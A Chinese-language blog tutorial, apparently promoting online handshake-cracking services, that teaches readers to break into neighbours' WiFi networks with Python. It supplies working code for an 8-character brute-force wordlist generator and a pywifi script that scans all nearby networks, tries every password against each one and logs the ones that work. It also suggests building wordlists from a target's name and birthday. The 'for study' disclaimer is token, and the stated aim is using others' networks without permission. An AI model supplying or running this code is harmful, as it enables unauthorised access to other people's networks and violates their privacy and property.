用python 学习 破解wifi密码

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

wi-fi密码字典wi-fi密码字典

嘿,你家的网络断了吗?想要蹭邻居家的WiFi来阅读这篇文章就够了!那么首先你需要准备些什么呢?首先要有一台电脑,然后按照以下教程进行操作。

  1. 安装Python环境,打开Python官网。
  2. 打开安装程序,选择安装即可。

wi-fi密码字典wi-fi密码字典wi-fi密码字典

  1. 如果你已经完成上述步骤,可以尝试运行Python来验证是否安装成功。按住Win+R键,输入”python”,你会看到Python的交互窗口。如果你成功看到交互窗口,那就证明你已经成功安装了Python,你可以关闭窗口了。接下来就是代码部分了。要破解密码,首先需要一个密码本。我们先写一段代码来生成密码本。首先创建一个名为”password.py”的文件。

wi-fi密码字典

import itertools as its
def run_numonly(length, filename):
    global words
    words = "1234567890qwertyuiopasdfghjklzxcvbnm"
    r     = its.product(words, repeat=length)
    dic   = open(filename, 'a')
    for i in r:
        dic.write("".join(i))
        dic.write("".join("n"))
    dic.close()
if __name__ == "__main__":
    run_numonly(8, "password.txt")

wi-fi密码字典

cd Desktop

文件创建成功后,用记事本打开它,然后将下面的代码粘贴进去。这段代码的作用是生成一个包含8位数字和小写字母的密码本。好了,下面是如何执行代码的步骤:按下Win+R键,输入”cmd”,然后使用盘符命令和cd命令进入你的代码所在位置。如果你是第一次使用Python,建议将文件创建在桌面上,这样可以与我的教程同步,避免不必要的麻烦。首先,使用cd命令进入桌面。

wi-fi密码字典

python password.py

wi-fi密码字典wi-fi密码字典wi-fi密码字典

然后,运行代码。代码运行1-2分钟后,关闭窗口即可。因为生成包含数字和字母的8位密码文件实在太大,所需时间太长。这里我向大家展示一下运行10分钟后的结果,密码文件达到了32GB。接下来,用记事本打开”password.txt”。如果你无法打开文件,可能是文件太大了,不用着急,可以参考这里。文件中的密码按照数字和字母的顺序排列,列出了所有8位数字和字母的组合。

pip install pywifi

有了密码本,我们就可以开始逐个尝试了。当然,手动尝试太麻烦,我们还是使用Python来帮忙。借助Python的pywifi模块,我们可以操作无线接口。开始安装pywifi,按下Win+R键,输入”cmd”,然后输入下面的命令。

wi-fi密码字典wi-fi密码字典

# coding:utf-8
# coding:gbk
import time  # 时间
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义
from asyncio.tasks import sleep
# 需要第三方库 pywifi  (python3 pip install pywifi)
# 功能:
#      1、扫描周围wifi列表 将ssid写入文本
#      2、读取密码字典进行匹配
class PoJie():
    ###
    # 初始化
    ###
    def __init__(self, ssidfile, pwdfile, resfile):  # 类初始化
        self.resfile  = resfile  # 破解结果文本文件
        self.pwdfile  = pwdfile  # 密码字典文本文件
        self.ssidfile = ssidfile  # wifi的ssid列表文件
        wifi          = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface    = wifi.interfaces()[0]  # 抓取第一个无线网卡
        self.iface.disconnect()  # 测试链接断开所有链接
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态,
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    ###
    #读取密码本
    ###
    def readPassWord(self, wifissid):  # 读取密码字典,进行匹配
        print("开始破解: %s" % wifissid)
        # 将结果写入文本文件记录
        res = "开始破解:: %s n" % wifissid;
        open(self.resfile, "a",encoding= "utf-8").write(res)
        pwdfilehander = open(self.pwdfile, "r",encoding= "utf-8", errors="ignore")
        while True:
            try:
                myStr = pwdfilehander.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr, wifissid)
                if bool1:
                    # print("密码正确:"+myStr)
                    # res = "密码:%s 正确 n"%myStr;
                    res = "===正确=== ^_^ wifi名:%s  匹配密码:%s " % (wifissid, myStr);
                    print(res)
                    # 将结果写入文本文件记录
                    open(self.resfile, "a",encoding= "utf-8").write(res)
                    break
                else:
                    # print("密码:"+myStr+"错误")
                    res = "---错误--- wifi名:%s匹配密码:%s" % (wifissid, myStr);
                    print(res)
                    # 将结果写入文本文件记录
                    open(self.resfile, "a",encoding= "utf-8").write(res)
                sleep(3)
            except:
                continue
    # 读取wifi的ssid列表、读取密码字典,进行匹配
    def foreachPassWord(self):
        print("^_^开始读取wifi的ssid列表...")
        ssidfilehander = open(self.ssidfile, "r", encoding= "utf-8",errors="ignore")
        ssidStrs = ssidfilehander.readlines()
        # print(ssidStrs)
        for index in range(len(ssidStrs)):
            self.readPassWord(ssidStrs[index])
        print("执行完毕! ^_^")
    # 扫描周边wifi列表 并写入文本中(一行一个)
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        # print("|SCAN GET %s"%(nums))
        print("数量: %s" % (nums))
        # 在控制台表格输出 扫描列表
        # 表格 标题行
        # print ("%sn%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
        print("| %s |  %s |  %s | %s" % ("WIFIID", "SSID", "BSSID", "signal"))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
    def show_scans_wifi_list(self, scans_res):  # 显示扫描周围wifi列表
        # 开始扫描
        # self.scans_wifi_list()
        for index, wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*sn"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            print("| %s | %s | %s | %s n" % (index, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
        print("^_^ 扫描结束. ^_^")
        print("^_^ 先预览. ^_^")
        for index, wifi_info in enumerate(scans_res):
            res = "%sn" % wifi_info.ssid;  # wifi的ssid名
            print(res)
        print("^_^ 预览结束. ^_^")
        print("^_^ 开始写入... ^_^")
        for index, wifi_info in enumerate(scans_res):
            res = "%sn" % wifi_info.ssid;  # wifi的ssid名
            # 将wifi的ssid名写入文本文件记录
            # ssidfilehandle = open(self.ssidfile,"a").write(res)
            open(self.ssidfile, "a", encoding= "utf-8").write(res)
        print("^_^ 写入结束. ^_^")
        # ssidfilehandle.close()
    def test_connect(self, findStr, wifissid):  # 测试链接
        profile = pywifi.Profile()  # 创建wifi链接文件
        # profile.ssid ="e2" #wifi名称
        # profile.ssid ="1104" #wifi名称
        # profile.ssid ="1601" #wifi名称
        profile.ssid = wifissid  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = findStr  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
        self.iface.connect(tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
    # def __del__(self):
    #     ssidfilehandle.close()
# 引入 配置参数 相对路径写法
pwdfile  = "password.txt"  # 密码字典文本路径
resfile  = "pj_res.txt"  # 结果文本文件保存路径
ssidfile = "wifi_ssid_list.txt"  # wifi的ssid的列表保存路径
start    = PoJie(ssidfile, pwdfile, resfile)  # 实例化类
# 扫描周边wifi列表
start.scans_wifi_list()
# 读取密码字典、读取wifi的ssid列表、将结果写入文本文件
start.foreachPassWord()

我这里已经安装过了,所以结果可能与你们不太一样,耐心等待即可。下面是代码部分,创建一个名为”main.py”的文件,用记事本打开它,然后将下面的代码粘贴进去。这段代码主要做了三件事:1. 扫描所有的WiFi;2. 使用生成的密码破解扫描到的所有WiFi;3. 记录破解成功的密码。

wi-fi密码字典

当然,破解密码并不是那么简单,需要几天的时间。这里只是为了学习和研究。当然,如果你知道密码的长度以及是否包含字母和特殊符号,那么破解时间会减少。如果你真的想要破解WiFi密码,建议深入研究密码学。如果你知道对方的名字和生日,可以将它们作为参数放入生成密码的过程中。这些内容我会在以后介绍。接下来,运行代码,按下Win+R键,输入”cmd”。

python main.py

wi-fi密码字典wi-fi密码字典

赞(0)